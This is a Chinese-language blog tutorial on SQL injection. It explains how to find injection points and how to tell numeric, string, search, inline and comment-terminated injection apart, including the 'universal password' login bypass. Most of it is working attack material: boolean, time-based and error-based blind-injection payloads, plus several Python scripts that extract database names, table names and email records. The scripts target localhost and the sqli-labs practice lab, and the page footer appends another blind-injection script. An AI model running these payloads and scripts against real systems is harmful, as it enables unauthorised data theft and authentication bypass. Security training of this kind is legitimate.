sql注入种类以及测试方式和python脚本

sql 注入:

1.sql注入最重要的过程,单引号判断注入最常见。

分为三大类:get、post、cookie

简单判断get型:

http://host/test.php?id=100’ 返回错误说明有可能注入

http://host/test.php?id=100 and 1=1 返回正常

http://host/test.php?id=100 and 1=2返回错误

如果出现以上三种错误,基本盘判定为注入点

#盲注中只会回显错误或者正确,不会报错

2.判断注入类型

注入类型分为:数字型,字符型,搜索型,内联式,终止式。

数字型,传入参数为数字,回显错误正确来判断:

http://host/test.php?id=100 and 1=1 返回成功

http://host/test.php?id=100 and 1=2 返回失败

也就是说,后台sql语句查询判断传入参数为数字,不用闭合sql语句。

字符型,传入闭合字符,查询是否出错:

http://host/test.php?name=man' and '1'='1 返回成功

http://host/test.php?name=man' and '1'='2返回失败

这里比上面多了 ‘ 所以判断回显正确错误,说明后台查询语句查询的是字符串,进行sql注入的时候就需要传入闭合来进行。

搜索型,借用like语句进行搜索,like中**%**为通配符,由于进行了通配符的匹配无法进行正常的测试,依然是构造闭合条件来进行匹配:

SELECT * FROM news WHERE keyword like '%$keyword%'
这里的$keyword是用户的输入
当我们输入以下语句的时候 
pt%' and 1=1 and '%'=' 
最终我们得到的语句是这样的 
SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' 
这个语句又一次的闭合了

内联型,指的是进行查询的注入之后,原来的查询依然在进行,也就是说,虽然有错但是依然执行,需要注意的是,由于sql语句中使用了 AND 使得语句中错误一个返回的都为错误,常见的就是登陆页面,利用方法为构造 OR 1 = 1 来进行绕过,但是一定要注意逻辑先后顺序 SQL语句中AND运算优先级大于OR

SELECT * FROM admin WHER username='$name' AND password ='$passwd'

这个时候我们想办法绕过AND,所以从password=’or 1 = 1,所谓的万能密码就是这种的绕过方式。

如果你从username输入,就会导致:

SELECT * FROM admin WHER username = '' or '1'='1' AND password = ''
此时先进行 '1' = '1' AND password = ''的判断,结果为 0
然后进行 username = '' or 0 由于username 不可能为空,所以此时为 0 or 0 为 0 最终显示错误,所以万能密码叫做万能密码,不叫万能账号。

终止型,可以进行输入注释符来进行后面语句的注释:

上面的题型,如果我们想要进行注入的话,我们需要注释掉后面的 password 就能成功:

输入:' or ''='' --
后台查询语句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
只进行前两个语句,AND 后面不进行,导致返回为真

盲注:

盲注分为三个类型:

基于布尔的盲注

基于时间的盲注

基于报错的盲注

布尔类型盲注:

mysql 一些内置函数:

length()返回内容的字符串的长度
ascii() 返回字符的ascii码
substr(str,start,end) 截取字符串

三步走:

0x00:爆库

url and length(database())>0 #
// 最后的数字可以进行更换来确定库名的长度。

当确定了库名长度之后,利用python脚本来进行爆破。

import requests
def get_db_name():
 result = ""
 url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #根据返回长度的不同来判断字符正确与否
   if length>706:
    result += char
    break
 print(result)

0x01:爆表

url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
依然是优先判断表的长度

当判读出表的长度的时候就可以使用python脚本继续跑

import requests
def get_table_name():
 result = ""
 url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 内容的值限制了表的次序,例如第二张表名就切换为 1,2)
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

0x02:脱库

脱库之前先判断 emails 表中的记录数

url+?id=2' and (select count(*) from emails)>0 %23 #count函数用于查询表内的记录数

确定了表中的记录数之后我们进行下一步的脱库

url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23

确定内容的长度。

py跑一下

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

另外就是使用sqlmap。

基于时间的盲注:

由于在进行数据库查询的时候线程跑的很快导致错误的搜索的运行时间为0,所以我们利用sleep函数

select sleep(N),name from animals where name = 'tigey'

如果查询错误,那么回显的运行时间就为0,利用这个特性加上上面的payload修改一下就能得到新的payload。基于时间的盲注应用方面很广泛,因为很多网站在你测试的时候只会回显一个错误,而不显示错误原因以及其他情况。

这里直接放一个大佬的脚本:

import urllib2
import time
import socket
import threading
import requests
class my_threading(threading.Thread):
    def __init__(self, str,x):
        threading.Thread.__init__(self)
        self.str = str
        self.x = x
    def run(self):
      global res
      x=self.x
      j = self.str
      url = "http://localhost/pentest/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
      html = request(url)
      verify = 'timeout'
      if verify not in html:
        res[str(j)] = 0
        #print 1
      else:
        res[str(j)] = 1

def request(URL):
  user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
  req = urllib2.Request(URL, None, user_agent)
  try:
    request = urllib2.urlopen(req,timeout=2)
  except Exception ,e:
    time.sleep(2)
    return 'timeout'
  return request.read()
def curl(url):
  try:
      start = time.clock()
      requests.get(url)
      end = time.clock()
      return int(end)
  except requests.RequestException as e:
      print u"访问出错!"
      exit()
def getLength():
  i = 0
  while True:
    print "[+] Checking: %s \r" %i
    url = "http://localhost/pentest/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
    html = request(url)
    verify = 'timeout'
    if verify in html:
      print u"[+] 数据长度为: %s" %i
      return i
    i = i + 1
def bin2dec(string_num):
  return int(string_num, 2)
def getData(dataLength):
  global res
  data = ""
  for x in range(dataLength):
    x = x + 1
    #print x
    threads = []
    for j in range(8):
      result = ""
      j = j + 1
      sb = my_threading(j,x)
      sb.setDaemon(True)
      threads.append(sb)
      #print j
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    #print res
    tmp = ""
    for i in range(8):  
      tmp = tmp + str(res[str(i+1)])
    #print chr(bin2dec(tmp))
    res = {}
    result = chr(bin2dec(tmp))
    print result
    data = data + result
    sb = None
  print "[+] ok!"
  print "[+] result:" + data

if __name__ == '__main__':
  stop = False
  res = {}
  length = getLength()
  getData(length)

基于报错的盲注:

输入特定的函数让数据库报错来显示出来数据库的版本号其他的等等。。

1.直接报错

' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+ --限制返回值不能超过一行,并且在获取多行的时候来用limit进行限制。

floor 函数使用来判断内容存在的最小整数值。

2.使用xpath函数进行 extractvalue函数,

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

在目标XML文件中查找/x/xx内容,如果查询错误额话就会回显正确的数据库的名称。并且我们可以使用 concat函数来将database()和 **/**连起来构成新的内容:

select username from serurity.user where id=1 and (extractvalue('anything',concat('\\','select database()')))

新的查询内容,由于=extractvalue函数只能传入“\” 所以我们故意构造错误的语句来进行报错。

select username from serurity.user where id=1 and (extractvalue('anything',concat('~','select database()')))

就会有错误的回显,会显示出正确的数据库名称。

3.使用updatexml()函数:

语法:updatexml(目标文件,xml路径,更新的内容)

使用方式基本相同:

id = 1 and (updatexml('anything','/xx/xx/xx','anything'))

使用报错方式也基本相同:利用concat 函数进行拼装

id = 1 and (updatexml('anything',concat('~',(select database()),'anything')))

以上的所有方法都是基于没有过滤,没有waf的情况下,如何绕过waf,防止过滤,下节再说,并且不需要这么麻烦,使用神器工具sqlmap找到注入点放进去sqlmap 梭哈一把就完事,下次讲绕过waf,在下次说一下sqlmap的详解。

To Be Continue…

  • 3
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值